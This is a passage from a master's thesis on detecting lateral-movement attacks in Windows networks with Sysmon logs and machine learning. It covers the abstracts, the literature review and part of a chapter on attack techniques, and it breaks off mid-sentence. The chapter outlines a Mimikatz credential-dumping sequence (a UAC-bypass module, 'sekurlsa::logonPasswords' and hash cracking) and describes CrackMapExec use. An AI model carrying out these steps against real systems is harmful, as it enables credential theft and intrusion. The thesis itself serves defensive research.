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Περίληψη

Η ψηφιακή εποχή, η οποία χαρακτηρίζεται από πολύ υψηλό βαθμό διαδικτύωσης και

παραγωγής μεγάλου όγκου δεδομένων, έχει επιφέρει σύνθετες προκλήσεις στον τομέα

της κυβερνοασφάλειας. Μεταξύ αυτών συγκαταλέγονται και οι επιθέσεις πλευρικής

μετακίνησης τις οποίες χρησιμοποιούν οι επιτιθέμενοι για να περιηγηθούν κρυφά εν-

τός των δικτύων, να εκμεταλλευτούν τα τρωτά σημεία τους, και να αποκτήσουν μη

εξουσιοδοτημένη πρόσβαση σε κρίσιμα περιουσιακά στοιχεία. Η παρούσα διπλωματική

εργασία, αναγνωρίζοντας τους περιορισμούς των συμβατικών μηχανισμών άμυνας στον

κυβερνοχώρο, διερευνά τις δυνατότητες των αρχείων καταγραφής Sysmon της πλατ-

φόρμας των MS Windows ως πηγή πληροφορίας για την ανίχνευση συμβάντων επι-

θέσεων πλευρικής μετακίνησης. Ως εγγενής υπηρεσία συστήματος στα MS Windows,

το System Monitor (Sysmon) καταγράφει με λεπτομέρεια μαι ποικιλία δεδομένων δικ-

τύου που αφορούν κακόβουλη και μη δικτυακή κίνηση. Σε αυτό το πλαίσιο, η παρούσα

διπλωματική εργασία υποστηρίζει ότι, σε συνδυασμό με τις δυνατότητες που προσφέρει

η μηχανική μάθηση, τα αρχεία καταγραφής Sysmon μπορούν να συμβάλλουν αποτελεσ-

ματικά στην ανίχνευση LM. Σε αυτήν την κατεύθυνση, υλοποιείται εικονικό εργαστηρι-

ακό περιβάλλον, το οποίο προσομοιώνει πραγματικά σενάρια επιθέσεων δικτύου με

χρήση τεχνικών LM. Τα δεδομένα που συλλέγονται από το Sysmon τροφοδοτούνται σε

αλγορίθμους επιβλεπόμενης μηχανικής μάθησης προκειμένου να αξιολογηθεί η επίδοσή

τους στην ανίχνευση LM. Συγκεκριμένα αναλύεται η λογική, ο υποκείμενος μηχανισ-

μός και η αποτελεσματικότητα κάθε αλγορίθμου στο πλαίσιο της ανίχνευσης συμβάν-

των LM. Συνοψίζοντας, η παρούσα διπλωματική εργασία παρουσιάζει μια τεκμηριωμένη

πειραματική προσέγγιση για την κατανόηση και την αντιμετώπιση επιθέσεων LM με τη

βοήθεια τεχνικών μηχανικής μάθησης.
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Abstract

The digital age, characterised by a very high degree of online and big data gener-

ation, has brought about complex challenges in the field of cybersecurity. Among

these are Lateral Movement (LM) attacks which attackers use to surreptitiously

navigate within networks, exploit vulnerabilities, and gain unauthorized access to

critical assets. Recognizing the limitations of conventional cyber defense mecha-

nisms, this master’s thesis explores the potential of the Sysmon logs of the MS

Windows platform as a source of information for detecting LM attack events. As

an inherent system service in MS Windows, these logs are a variety of network data

concerning malicious and non-network traffic. In this context, the present work ar-

gues that, in combination with the capabilities offered by Machine Learning (ML),

Sysmon logs can contribute effectively to LM detection. To this end, a virtual lab-

oratory environment is implemented, which simulates real network attack scenarios

using LM techniques. In this context, the present work argues that, in combination

with the capabilities offered by ML, Sysmon logs can contribute effectively to LM

detection. In this direction, a virtual laboratory environment is implemented, which

simulates real network attack scenarios using LM techniques. The data collected

by Sysmon are fed into supervised machine learning algorithms in order to evaluate

their performance in LM detection. More specifically, the rationale, the underlying

mechanism and the effectiveness of each algorithm in the context of LM event de-

tection is analyzed. To summarize, this master’s thesis presents an evidence-based

experimental approach for understanding and countering LM attacks using machine

learning techniques.

© 2023
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Chapter 1

Introduction

1.1 Introduction

In today’s hyper-connected digital landscape, malicious entities are constantly

looking for illegal ways to infiltrate networks, extend their privileges, and compro-

mise critical infrastructure. Central to this complex cyber threat and defense game

is the LM phenomenon. Traditionally understood as a sequence of tactics used by

adversaries to gain unauthorized access to network endpoints, LM underscores the

depth and breadth of Advanced Persistent Threats (APT) in modern cyberspace.

These tactics, subtly meandering through the network, underscore the urgent need

to evolve the respective defensive mechanisms, paving the way for new detection

methodologies rooted in ML and sophisticated log analysis.

1.1.1 LM: Unveiling its Depth and Implications

Historically, cyberattacks were characterized by isolated incursions with immedi-

ate and tangible impacts. In stark contrast, LM signifies the paradigm shift toward

more covert, sustained, and sophisticated attacks. Adversaries employing LM not

only seek initial network access, but also engage in clandestine activities. They aim

to learn the infrastructural layout, ensuring continued unauthorized access, and, in

the ultimate act of subterfuge, escalate their privileges for data exploitation.

While pivoting and LM might seem synonymous in some cybersecurity lexicons,

subtle nuances set them apart. That is, pivoting typically denotes the act of jump-

ing between network hosts, while LM encapsulates both this movement and the

concomitant privilege escalation.

9



Chapter 1. Introduction 1.2. Thesis aim and scope

1.1.2 The critical turning point: Sysmon and ML

Mitre’s ATT&CK Framework and the exploits of cyber espionage groups such

as APT39 and APT29 have painted a vivid picture of the dangers of uncontrolled

LM. Given the voluminous and complex nature of network logs, traditional detec-

tion methods, including Endpoint Detect and Response (EDR) systems, have faced

challenges in detecting these covert movements.

Addressing this contemporary issue, our research dives into the capabilities of

Sysmon logs. As an integral system service in MS Windows, Sysmon provides a

goldmine of data that, when combined with ML techniques, promises unprecedented

insights for LM detection.

The present thesis presents topics ranging from fundamental concepts to advanced

methodologies, experimental procedures and insightful discussions. Our effort is not

only to present a new perspective on LM detection, but also to pave the way for

future scientific pursuits, ensuring that our digital frontiers remain secure in the face

of evolving threats.

1.2 Thesis aim and scope

This master’s thesis is primarily geared towards achieving the following objectives:

1. Comprehensive Analysis of LM Techniques: This thesis presents an

extensive study of LM techniques, encompassing their various forms, method-

ologies, and objectives. The aim is to provide a detailed exploration of LM

within the context of sophisticated cyber threats, shedding light on the intri-

cacies and strategic importance of these techniques in modern cybersecurity

landscapes. It delves into the characteristics and aims of different LM meth-

ods, distinguishing them from traditional, isolated cyberattacks. By examining

LM in-depth, this research contributes to a more profound understanding of

how these techniques operate and evolve, and underscores their significance in

anticipating and mitigating advanced cyber threats.

2. Exploration of Sysmon Logs for Detection: Recognizing the limitations

of traditional detection mechanisms, it focuses on harnessing the capabilities

of Sysmon logs. As a native system service in MS Windows, Sysmon offers

rich, detailed data that can potentially transform the detection landscape.

The thesis investigates how Sysmon logs, coupled with ML techniques, can be

utilized for superior detection of LM attacks.

3. Practical Application in a Virtual Laboratory Setting: A hands-on

component involves creating a virtual lab (testbed) to simulate real-world
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scenarios. This practical exploration allows for the execution and analysis

of LM techniques, providing empirical data for deeper study.

4. Advanced Data Processing and Analysis: Focus is given to sophisticated

methods of data preprocessing and transformation, from the initial stages of

capturing data using Sysmon to leveraging tools like PEX, and techniques like

One-Hot Encoding and Min-Max scaling. The aim is to ensure that the data

is in the best possible form for effective ML modeling.

5. Evaluating ML Algorithms for LM Detection: The work evaluates sev-

eral supervised ML algorithms to identify the most effective ones in detecting

LM attacks. This includes a comprehensive implementation and comparison

of these algorithms using Sysmon log data.

6. Setting a Path for Future Research: Lastly, the thesis offers insights

for ongoing research. It lays a foundation for future studies in LM detection,

positioning this work as a stepping stone towards enhanced cybersecurity mea-

sures.

Overall, based on the contemporary relevant literature, the present master’s thesis

aims to provide a comprehensive, practical, and innovative approach to detecting

LM attacks, leveraging Sysmon logs and supervised learning techniques.

1.3 Thesis structure

The rest of this master’s thesis covers the following:

1. Chapter 2: Related Work

In this chapter, a critical review of the existing body of literature concerning

LM is done. The endeavor here is to identify gaps in current understanding

and methodologies, offering both a summary and a critique of existing strate-

gies, tools, and findings in the realm of LM detection using Supervised ML

techniques.

2. Chapter 3: LM Attacks

A deeper exploration of the anatomy of LM is undertaken, providing readers

with a comprehensive understanding of its inherent techniques. The theoretical

discussions are supplemented by practical analysis, aligning our exposition

with the well-acknowledged MITRE FiGHT tactics list. This ensures both

depth and breadth in understanding the subject.
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3. Chapter 4: LM Testbed

The heart of our empirical approach is introduced. Here, we outline the con-

struction and nuances of a virtual lab environment, designed meticulously to

simulate real-world network infrastructures. This serves as the experimen-

tal playground, aiding in demonstrating Windows-based LM attacks and data

acquisition for subsequent analyses.

4. Chapter 5: Execution of LM Techniques in Windows Operating Sys-

tem Environments

Building on the previous chapter, we detail the execution of diverse LM tech-

niques within our simulated Windows environment. Each technique is dis-

sected, offering insights into its modus operandi, success metrics, and potential

detection avenues.

5. Chapter 6: Methodology, Data Preprocessing, and Handling

This chapter provides a rigorous exposition of our methodological approach.

From the initial stages of data capture using Sysmon to the intricacies of

preprocessing via the Python Evtx Analyzer/ (PEX) tool, we delve into every

stage of dataset transformation. Discussions about One-Hot Encoding, Min-

Max scaling, and other data handling techniques set the stage for the modeling

that ensues.

6. Chapter 7: ML for LM Detection

In this analytical core of our thesis, we harness the processed datasets to ex-

plore a series of supervised ML algorithms tailored for LM detection. Beyond

the mere application of these algorithms, we provide rationales for their se-

lection, their underlying mechanisms, and their efficacy in the LM context.

A detailed comparative analysis, based on varied performance metrics, culmi-

nates this chapter, offering a clear direction on the optimal strategies for LM

detection.

7. Chapter 8: Conclusions and Future Work

This last chapter distills the core findings of the thesis, highlighting the signifi-

cance of LM detection, the robustness and proficiencies of various ML models,

and the paramount importance of data preprocessing. We reiterate the ef-

fectiveness of supervised ML techniques like LightGBM, Random Forest, and

others in the context of LM detection. The chapter further outlines prospective

paths for future research, emphasizing deep learning models, transfer learning,

and real-time detection strategies, among others. We conclude by emphasizing

the ever-evolving nature of cyber threats and the constant need for innovative

and effective detection mechanisms.
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Chapter 2

Literature Review

2.1 Background and Related work

LM detection in networks, especially leveraging ML techniques, has been at the

forefront of cybersecurity research. This has been mainly driven by the growing

complexity and stealthiness of APTs, which employ LM as a critical tactic after

a network breach. Various methods and approaches have been proposed to tackle

this challenge, lately, with a particular focus on the Windows Sysmon logs as a rich

source of relevant information.

The work of [13] sheds light on the significance of system logs as crucial audit

trails to discern system anomalies, particularly during security breaches. This study

particularly leveraged Recurrent Neural Network (RNN)s for efficient analysis of

Sysmon event logs in Windows-based systems, demonstrating a high precision in

malware identification. Emphasizing the challenges of analyzing the vast and diverse

log data, the study introduces an ML-based method, particularly leveraging RNNs,

for efficient system log analysis. Targeting Windows-based systems due to their

dominance and susceptibility, the proposed approach focused on Sysmon event logs.

Notably, the method demonstrated a high precision of 95.5% in identifying malware,

surpassing traditional methods like Support Vector Machine (SVM). The study

underscores the urgent need for automated solutions given the widespread deficiency

of security expertise in many organizations.

Delving deeper into the realm of Sysmon for LM detection, the work in [61]

significantly enhanced the Sysmon tool’s initialization capabilities. Utilizing the

MITRE ATT&CK database, the research resulted in the creation of the PEX, a

comprehensive Python tool, developed to automate parsing of a vast dataset of

870K Sysmon logs. Their efforts yielded a high True Positive rate of roughly 95%

for LM identification. The study’s significance is underscored by its introduction of

a novel EDR policy. This policy, combined with potential ML applications, presents
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a promising foundation for an LM-focused Intrusion Detection System (IDS). This

work plays a pivotal role in redefining EDR strategies and pushing the boundaries

of current LM detection mechanisms.

Following in the footsteps of such innovative endeavors, a more recent study by

the same author, Smiliotopoulos [62], deepens the exploration into Sysmon log-

based LM detection. This research took a holistic approach, harnessing supervised

ML techniques and pushing the boundaries further. A standout feature of this study

is the exceptional F1 and AUC metrics achieved, especially given the complexity of

addressing the problem as a multiclass classification task. Moreover, they ventured

into uncharted territories by creating labeled datasets derived from Sysmon logs

– a challenge that had been scarcely tackled previously. One key contribution of

their work was the development of an open-source tool to convert Sysmon logs into

datasets for ML models. The researchers formulated a multiclass classification prob-

lem and provided an in-depth methodology for feature selection, data preprocessing,

and feature importance. Their work stands out in the context of the LM detection

ecosystem, as they address challenges previously unexplored in depth, such as cre-

ating labeled datasets from Sysmon logs. This work serves as a testament to the

evolving capabilities of ML in detecting LM and emphasizes the untapped potential

of Sysmon logs as a goldmine for security insights.

A considerable emphasis has been placed on the potential of logs and advanced

algorithms in discerning malicious activities. The seminal work titled Data-Driven

by Mavroeidis et al. [40] laid foundational insights into this realm. The research

achieved outstanding results by developing the Cyber Threat Intelligence Ontol-

ogy (CTIO), which promotes for a dynamic threat hunting system that classifies

system operations into certain threat levels based on Sysmon logs. While Security

Information and Event Management (SIEM) systems traditionally aggregate log files

to flag discrepancies, the new approach zeroes in on Sysmon, with a distinctive fo-

cus away from conventional NoSQL database systems. The end result is a dynamic

threat hunting system that classifies system processes into varying threat levels,

allowing for real-time responses to potential security breaches. This ontological ap-

proach, specifically tailored for Sysmon, offers an innovative perspective in the field

of automated end-point threat detection.

Building on the concept of utilizing logs, the study by Bian et al. [5] took an

ML approach. Instead of focusing solely on system processes, this work emphasized

graph-based features derived from host authentication logs. In more detail, the

study utilized the Los Alamos National Lab (LANL) dataset and underscored the

importance of early detection. ML classifiers were evaluated, particularly emphasiz-

ing graph-based features extracted from host authentication logs. While traditional

features for ML-based intrusion detection were considered, graph-based features of-
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fered deeper insights into malicious behaviors. The research indicated that such

features can capture complex communication patterns used by stealthy attackers,

a domain previously not well-addressed. Challenges like the sparsity of malicious

activities in large networks and imbalanced datasets were also discussed, and the

research suggested methods to improve classification performance in these scenar-

ios. Their results lucidly showcased the prowess of these features in unmasking the

intricate communication schemes devised by clandestine attackers.

Another critical aspect of LM is the Remote Desktop Protocol (RDP). The re-

search by [3] shed light on this, identifying the rampant unauthorized use of RDP

as a prevalent LM tactic. Through the utilization of Windows event logs, they pro-

posed an anomaly detection approach that effectively distinguishes malicious RDP

sessions from benign ones. Specifically, emphasizing the crucial stage of LM, the

study identified the frequent unauthorized use of the RDP. By leveraging Windows

event logs, an anomaly detection approach was proposed to identify malicious RDP

sessions. Various ML techniques were applied, with their model emerging as the op-

timal choice for classifying RDP sessions, outperforming prominent state-of-the-art

methods. The research synthesized a dataset combining two public sources and has

highlighted plans for future refinements, including expanding to other session-based

protocols.

Differentiating LM detection methods, a work by Chen et al. [14] incorporated

the concept of network embedding. The method constructs a host communication

graph, synthesizing information from hosts, traffic, and correlations, extracting and

iteratively learning essential features from the original network data. This approach

aggregates features by incorporating neighboring features, optimizing through cor-

relation coefficient and community partition algorithms. A standout feature is the

usage of a denoising autoencoder to optimize feature dimensions, which is further

refined using classified data labels. Remarkably, this method reported a remarkable

average accuracy, showcasing both its flexibility in adapting to multiple data types

and its high precision in malicious activity detection

Focusing on system roles, Powell’s Role-based LM Detection with Unsupervised

Learning [52] argued for an innovative unsupervised learning framework. This

method leverages the concept of system roles, highlighting that over normal op-

erations, systems tend to consistently connect to a specific set of roles. Connections

outside this rule raise potential red flags for LM. The approach is based on the

premise that the processes underlying these connections follow temporal patterns

based on the systems’ roles, making deviations indicative of anomalous activities.

Tested on an operational enterprise network, the method was promising, with de-

tection rates around 70%. The authors emphasize the potential of enhancing cyber

defense capabilities by moving beyond traditional rule-based systems and signatures,
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focusing instead on behavior-based patterns and system roles. This work underlines

the pressing need to detect sophisticated cyber threats that utilize authorized LM,

a prevalent technique in modern cyberattacks.

In the broad horizon of network security research, the study of Chatzoglou et

al. [12] occupies a pivotal position, introducing an innovative approach to intrusion

detection in the increasingly ubiquitous world of Wi-Fi networks. As the techno-

logical landscape changes and our reliance on Wi-Fi connectivity grows, ensuring

the security of these networks has never been more important. Chatzoglou and his

team, recognizing this necessity, embarked on a comprehensive exploration of both

802.11 and non-802.11 features. Their innovative methodology combines knowledge

from application-layer vulnerabilities with those from the network layer, resulting in

a detection system that is not only robust but also adaptive to the evolving nature

of wireless threats. Their work’s significance is magnified by its timeliness, address-

ing the vulnerabilities in the very fabric of our modern digital communication. By

merging different data streams and leveraging a multifaceted approach, Chatzoglou

et al. have not only set a new gold standard in Wi-Fi security research but have also

provided a beacon for subsequent studies aiming to fortify the security of wireless

landscapes in an increasingly interconnected world.

Another key contribution to the field comes from the research of El-Hadidi [29].

While Mutex objects are often overlooked in mainstream security research, this

work elevates their significance by demonstrating their potent utility in unraveling

covert LM. Their research centered arround the use of Mutex objects—memory

constructs developers use to prevent simultaneous thread access, which malicious

actors exploit to prevent re-infecting the same host. The study’s approach was

oriented towards enhancing the detection accuracy of Mimikatz, especially during

its LM manipulations involving Mutex objects and DLL loading. The objective

was to quickly pinpoint any Mimikatz iteration within network environments. The

study’s findings provide crucial insights into the behavioral patterns of advanced

threats leveraging Mutex for lateral operations. In terms of future work, the authors

expressed intent to enhance Mimikatz detection capabilities against obfuscated or

dynamically generated versions. Furthermore, they plan to advance API request

sequencing for heightened visibility of LM tools in APT campaigns, enhancing the

efficacy of Host Intrusion Prevention System (HIPS) and EDR products. El-Hadidi’s

work meticulously uncovers the intricate relationship between Mutex patterns and

malicious activities, providing cybersecurity professionals with a fresh and potent

tool to combat sophisticated threats.

Lastly, the research by Kaiafas [32] adds another dimension to the discourse.

Instead of solely focusing on the features or patterns of threats, this study illumi-

nates the crucial role of trust in anomaly detection. Kaiafas emphasizes that in
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the vast sea of security logs, it’s the trustworthiness of authentication events that

often holds the key to identifying malevolent actors. By incorporating trust as a

pivotal parameter in their detection algorithm, the work accentuates the nexus be-

tween trust evaluation and effective anomaly detection, pushing the boundaries of

contemporary security examples.

In summary, the landscape of LM detection has evolved significantly over recent

years, with an increasing focus on leveraging system logs and supervised or unsu-

pervised ML techniques. This thesis builds upon the foundational insights from

these prior works, aiming to advance the state-of-the-art in LM detection based on

Sysmon log features through supervised learning [63].
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Chapter 3

Lateral Movement Techniques

3.1 LM Attacks

This chapter endeavors to integrate theoretical exposition and empirical exam-

ination of the essential strategies of LM. This is accompanied by a comprehensive

analysis of the contextual background and the executed attacks. The attacks that

will be mentioned are in line with the strategies outlined in the MITRE FiGHT

framework [66].

Figure 3.1: MITRE enterprise ATT&CK model that visualizes the 32 OAC, indi-
cating that OAC directly helps the intruder to achieve the attack step [46]

Building on the detailed framework presented by [35], which elucidates the tech-

nical aspects and objectives of each stage in cyberattacks [45] emphasizes the signif-

icance of the initial access phase. Often, the first stage typically involves navigating

through multiple systems and user accounts to achieve the attackers’ end goal. This

process, is a strategic move involving techniques that allow adversaries to penetrate
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and control remote systems within a network, effectively amounting to horizontal

privilege escalation. A key component of LM is the systematic exploration of the

network to identify high-value targets, such as domain controllers and email servers,

which often store sensitive and high-authority data. The ability to navigate this

landscape efficiently is critical to the success of the attack [24].

In the context of environments ranging from Small Office Home Office (SOHO)

networks to larger corporate infrastructures, the impact of these attack techniques is

profound. The integrity and effectiveness of the existing security infrastructure, as

well as the ability of the attackers to achieve their objectives, hinge significantly on

the successful implementation of LM strategies. According to [25] comprehensive

analysis of cyber threats, this underscores the need for robust security measures

capable of identifying and mitigating such movements. This integrated approach

to understanding and countering LM is pivotal in enhancing cybersecurity defenses

against these sophisticated attacks.

3.1.1 LM Attack Analysis

LM encompasses a set of techniques employed by malicious actors to broaden

their reach within a compromised network, be it in small-scale SOHO setups or

expansive corporate infrastructures. Such tactics enable attackers to escalate their

administrative privileges, thereby seizing control of numerous network assets and

fulfilling their malicious intentions. The process begins with gaining initial access to

any part of the network, irrespective of the credential authority level in relation to

the desired system. The ultimate objective of infiltrating a specific computing sys-

tem is realized by consistently scanning and assessing various network components,

pinpointing accounts that may grant elevated user privileges

Figure 3.2: Visualization of the attack Kill Chain [10]

The process depicted in Figure 3.2 offers a glimpse into the attackers’ method-

ology when performing LM attacks. For these attacks to be successful, thorough

preparation and high quality intelligence gathering is essential. More specifically,

attackers begin their plan by inspecting the intended target, gathering data about

the organization, its assets and potential vulnerabilities. Equipped with this in-
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formation, they determine the optimal time to launch their attack. Depending on

their identification, attackers define the most effective techniques for each stage of

the attack lifecycle. The integration of both Human Intelligence (HUMINT) and

Signal Intelligence (SIGINT) further highlights the diverse methodologies attackers

use to gather data and facilitate sophisticated LM attacks.

Such attacks can leverage a number of offensive tools, exploiting system or appli-

cation flaws for unauthorized access. While attackers may deploy their own remote

access utilities for LM, some may opt for valid credentials and native operating

system utilities, often because they are more discreet. This suggests that attack-

ers are developing a plethora of tactics to surreptitiously navigate, shaping their

infiltration strategy within the network. This can include using the Metasploit

framework, spreading malware on the target system to gain remote access with the

psexec module, or even advanced maneuvers such as the Golden and ST attacks.

The latter exploits the penetration testing tool Mimikatz (Kiwi) [27] from the at-

tacker’s terminal, stealing user credentials to bypass the authentication mechanisms

of the targeted network computers. Such breaches deeply compromise the privacy

and integrity of all transmitted data.

Indeed, during LM attacks, adversaries, armed with a myriad of techniques, may

extract credentials from multiple accounts - even those with limited or intermediate

access rights. By exploiting elevated privileges, they get closer to their primary

target. The attacker’s goal is to operate incognito until it becomes difficult for the

victim to react. Ideally, by the time their presence is detected, the attacker has

already left the system.

In a typical LM attack, outside world and internal corporate network in any

network station are separated with a horizontal perimeter line. The horizontal line

represents the boundary between the internal network.

According to [4], during a network penetration case, the attackers ought to move

in a vertical direction towards the horizontal boundary line, commonly known as a

“North to South” movement. Also, according to [72], the anchor point that created

when credentials are exposed, usually appeared as an abnormality in the network’s

activity that gives to adversary the privileged access in any account credential (North

to South), allowing him to manipulate network components horizontally and around,

till the gradual compromisation of the desired targets (East to West).

Briefly, environment-jumping attacks, known as “North to South” movement,

based on this structure: penetrate on-premises or cloud network, access cross-

environment credentials, move to the next environment, access more of the network

and gain more credentials, repeating until the compromisation of high-value assets.

The main stages that constitute an LM technique include the Reconnaissance phase,

the Credential and Privilege gathering, as well as the Gaining Access phase. In more
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detail, the phases by which an attacker moves laterally towards a targeted network

as well as the tools that are used to implement it are described as follows:

A Reconnaissance

This phase of network security is crucial as it provides the attackers with a

roadmap of the target network, its components, and vulnerabilities, which they

can then exploit to launch attacks. As the reconnaissance phase processes, the

intruders usually explore the targeted network infrastructure and other digital

assets to pull information on hierarchies, OSes, devices and sensitive data, per-

forming administrative actions to many built-in tools in any operating system

connected to the network. During this phase, the attackers attempt to make

internal reconnaissance efforts, using different techniques and tools to gain ac-

cess to the network system. This procedure is essential to acquire intelligence,

keep them from the risk of being detected. Upon achieving initial access to

a device in the target network, their subsequent actions typically include pin-

pointing the machine’s geographical location, surveying available resources,

and evaluating any existing firewalls or similar security measures. This assess-

ment is crucial for planning their further movements within the network and

strategizing to bypass potential obstacles on their path to the intended goal.

When accessing the system, they can malevolent damage it in the whole. This

intel gathering is a precursor to the attack, which is launched with the help of

state-of-the-art specialized tools, like Netstat, IPconfig, Powershell, ARPshell,

etc.

• Netstat can be utilized as a built-in tool to gain critical knowledge by

displaying the device’s current network connections. This feature allows

attackers to understand the interconnections within a network.

• Local Routing Table tracks and displays all the current routes and paths

of the interconnected network hosts.

• IPConfig/IFConfig commands utilization grant unauthorized individuals

the ability to gain access to diverse network setups and ascertain location-

related data.

• Address Resolution Protocol (ARP) cache facilitates the retrieval of data

regarding the correspondence between IP addresses and physical (MAC)

addresses, thereby disclosing the association between network IP ad-

dresses and their corresponding physical addresses. The provided in-

formation has the potential to serve enabling the purpose of targeting

specific machines inside a network, as well as for the implementation of

evasion strategies.
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• PowerShell, a versatile scripting language and command-line interface, is

often employed by intruders to pinpoint users with administrative priv-

ileges, marking them as prime targets. This identification provides at-

tackers with a broad spectrum of tools for conducting vulnerability as-

sessments and mapping networks, which can subsequently be exploited

for malicious purposes. [24].

• Nmap, a free and open-source utility, is a classic active probing technique

tool for network discovery and security auditing, which requires the user

to type a set of commands to initiate scanning. It is specifically initial-

ized to identify open ports around the various network components and

equally effective for host detection.

B Credential Dumping and Privilege Escalation

On completion of the reconnaissance phase, the attacker must gain access to

credentials or escalate privileges. Credentials harvesting is an illegal way to

massive compromise an entire network system, through “credential dumping”,

that involve social engineering tactics, such as typo squatting and phishing

attacks. Other common LM techniques for stealing permissions are [20]:

(a) Keyloggers/Keylogging tools : the attacker acquires access by sending ei-

ther an infected file or a phishing email.

(b) Pass-the-Hash (PtH): the malevolent captures an authenticated hash,

using it to attempt LM;

(c) Pass-the-Ticket (PtT): after using a tool such as Mimikatz (Kiwi) to ex-

tract Kerberos authentication tickets, adversary can authenticate with-

out a user’s password creating or intercepting and, then, reusing Kerberos

tickets to impersonate a legitimate user;

Certainly, these techniques fall into the general category of Credential Access.

According to MITRE ATT&CK, the vector of attacking techniques mentioned

as “credential theft” or “credential harvesting”. The threat actor’s goal is to

obtain valid usernames and passwords that can be used to gain unauthorized

access to systems, networks, and sensitive information. Keylogging and cre-

dential dumping are two common techniques used to steal credentials. The

first one involves capturing keystrokes made by a user, while the second refers

to the process of extracting stored passwords from a compromised system [67].

Having access to legitimate credentials can give an attacker a significant ad-

vantage in achieving their goals, as they can operate within the network un-

detected, impersonating a legitimate user. To prevent this type of attack,
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organizations should implement strong password policies, multifactor authen-

tication, and regular password changes. Additionally, monitoring for unusual

activity and regularly auditing system logs can help detect when an attacker

has obtained valid credentials.” [67].

C Gaining Access

The iterative process of conducting internal reconnaissance and circumventing

security measures can persist until the target is successfully compromised. It

is crucial to acknowledge the role of human involvement in the sophisticated

evolution of cyberattacks. This is particularly relevant for machine learning

applications, especially when an organization encounters any counteractions

from an adversary. However, human actions can be identified and mitigated

by a comprehensive security system.

Moreover, Mimikatz stands out as a widely recognized open-source utility,

renowned for its effectiveness in penetration testing. While it was originally

developed by the ethical hacker Benjamin Delpy [27] to demonstrate a vul-

nerability in Windows authentication protocols, it has since been widely used

in penetration testing to simulate real-world attacks and test the security of

systems and networks.

Mimikatz can extract Kerberos tickets and other authentication tokens from

a Windows endpoint, including passwords, which can then be used to gain

unauthorized access to systems and networks. This makes it a powerful tool

for attackers, but also a valuable tool for security professionals who can use it

to identify vulnerabilities in their systems and make necessary improvements

to their security posture.

Mimikatz (also known as Kiwi), primarily exploits the Single Sign-On feature in

Windows Authentication systems, particularly when the Local Security Authority

Subsystem Service (LSASS) is active in memory. It achieves this by loading the

stored credentials into its dll, enabling it to extract credential hashes, password

dumps, and in some instances, even plaintext passwords [47]. Additionally, Mimikatz

encompasses a feature designed to extract Minesweeper game data from memory,

revealing the positions of mines. This tool operates [47], as follows:

• Utilizing the local exploit suggester, a Metasploit post-exploitation module, we

identified three vulnerabilities susceptible to exploitation in the target system.

• Employing the bypass uac dotnet profiler exploit, we achieved privilege esca-

lation and successfully transferred the kiwi binary to the target machine.
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• A privilege check was conducted using theprivilege::debug command in a sys-

tem shell to ensure the proper execution of the kiwi binary.

• Executing the kiwi cmd sekurlsa::logonPasswords command allowed for the

extraction of credential information, including SHA1 and NTLM hashes of

the logged-in user.

• Finally, hashcat was used along with the extracted cleartext passwords for

hash cracking purposes.

It was observed that Windows Defender, when active, effectively detected the

malware as a meterpreter payload during its transfer to the target system. Similarly,

the Mimikatz binary was promptly identified, leading to the generation of security

logs, as documented in recent studies by [47].

The Mimikatz utility is regarded as one of the most potent platforms for stealing

passwords globally. Since its inception, it has transformed into a paramount tool

for post-exploitation, utilized by attackers targeting Microsoft-based systems and

by penetration testers and security personnel to assess vulnerabilities and enhance

privilege levels within a Windows environment [64]. Continuous development of

new versions of Mimikatz ensures its compatibility and efficacy against the evolv-

ing landscape of Windows operating system updates. Notably, certain versions of

Mimikatz have been incorporated into malevolent threat packages, such as NotPetya

and BadRabbit, illustrating its application in widespread cyber threats [2].

Nowadays, Mimikatz is included in all recent versions of Kali Linux distributions

as well as in the Metasploit framework, a renowned tool for vulnerability assessment

and exploitation [44]. This tool has gained widespread recognition as the preferred

choice for generating forged Kerberos tickets and exploiting Kerberos-related vul-

nerabilities. Although Mimikatz itself is not designed as malicious software, its

powerful features render it a dual-use tool, capable of facilitating both nefarious

activities, including the theft of credentials and the escalation of privileges, as well

as serving legitimate security purposes for identifying and mitigating network vul-

nerabilities. It is important to highlight that effective Endpoint Security solutions

are crucial in safeguarding against the potential misuse of such tools within network

environments.

3.1.2 LM Attack on Windows OS Environments

The primary objective of attackers utilizing LM techniques is to penetrate the

network’s secure perimeter, employing various tools to gain complete remote control

over targeted network systems. To achieve this, they may deploy a range of remote
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access tools or exploit compromised system assets. This facilitates the establish-

ment of a lateral traversal across multiple network nodes, essential for maintaining

anonymity in access. The techniques encompassed within this strategy, as updated

in the MITRE open source database, are diverse and are described in detail as

follows:

3.1.2.1 Remote Services Exploitation

Intruders often target Windows systems within corporate or SOHO networks,

exploiting remote services to gain unauthorized access to network nodes. This ex-

ploitation hinges on leveraging vulnerabilities in targeted systems, which could stem

from flawed application source code, issues in a Windows service, or vulnerabilities

within the Windows operating system’s kernel. These weaknesses potentially allow

the execution of malicious code and unauthorized remote network access.

To assess the vulnerability of a targeted system, an attacker typically employs

a range of well-known Network Service Scanning techniques. These methods are

designed to identify outdated or unpatched operating systems, or the absence of

up-to-date IDS and antivirus programs. Server nodes, due to their high value, often

become the focal point of LM attacks. Typically, an attacker, after gaining initial

access to a network, will navigate through various systems, incrementally escalating

their privileges, with the server nodes frequently being the ultimate target.

Attackers deploy a variety of information-gathering methods to achieve this, in-

cluding port scanning and vulnerability assessment tools. These tools are installed

on the compromised system to catalog remote network services and their associated

vulnerabilities or misconfigurations. This strategic approach enables attackers to

map out and exploit weaknesses within the network infrastructure.

Among the most used network scanning procedures for pen testing in Win-

dows/AD environments, referenced to the updated MITRE ATT&CK list, CrackMapExec

(CME), is a Python post-exploitation network penetration testing tool, that abuses

built-in AD protocols by gathering all the information from IP addresses to har-

vesting the credentials from SAM [11]. More specific, to achieve its functional-

ity, it iterates through enumerating logged on users and spidering Service Message

Block (SMB) shares of Windows AD’s information.This process includes executing

attacks reminiscent of PsExec, automatically injecting tools likeMimikatz, shellcode,

or DLLs into memory using PowerShell, and exfiltrating the NTDS.dit file. Such

techniques are designed to circumvent the majority of endpoint protection mech-

anisms, highlighting the sophisticated evasion capabilities embedded within these

methods

Although enumeration is a demanding aspect of penetration testing, the capa-

bilities of CME render it a valuable asset for LM operations. Moreover, this tool
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allows for the execution of PowerShell and Python scripts to carry out brute force

credential attacks. Such techniques include password guessing on systems where le-

gitimate credentials are unknown [8] as well as password spraying [9] which involves

using a single anticipated username to attempt to discover valid account creden-

tials. Attackers often use password lists and well-known dictionaries in an effort to

compromise valid user accounts on the targeted network.

Furthermore, two notable cyber espionage campaigns, BackdoorDiplomacy and

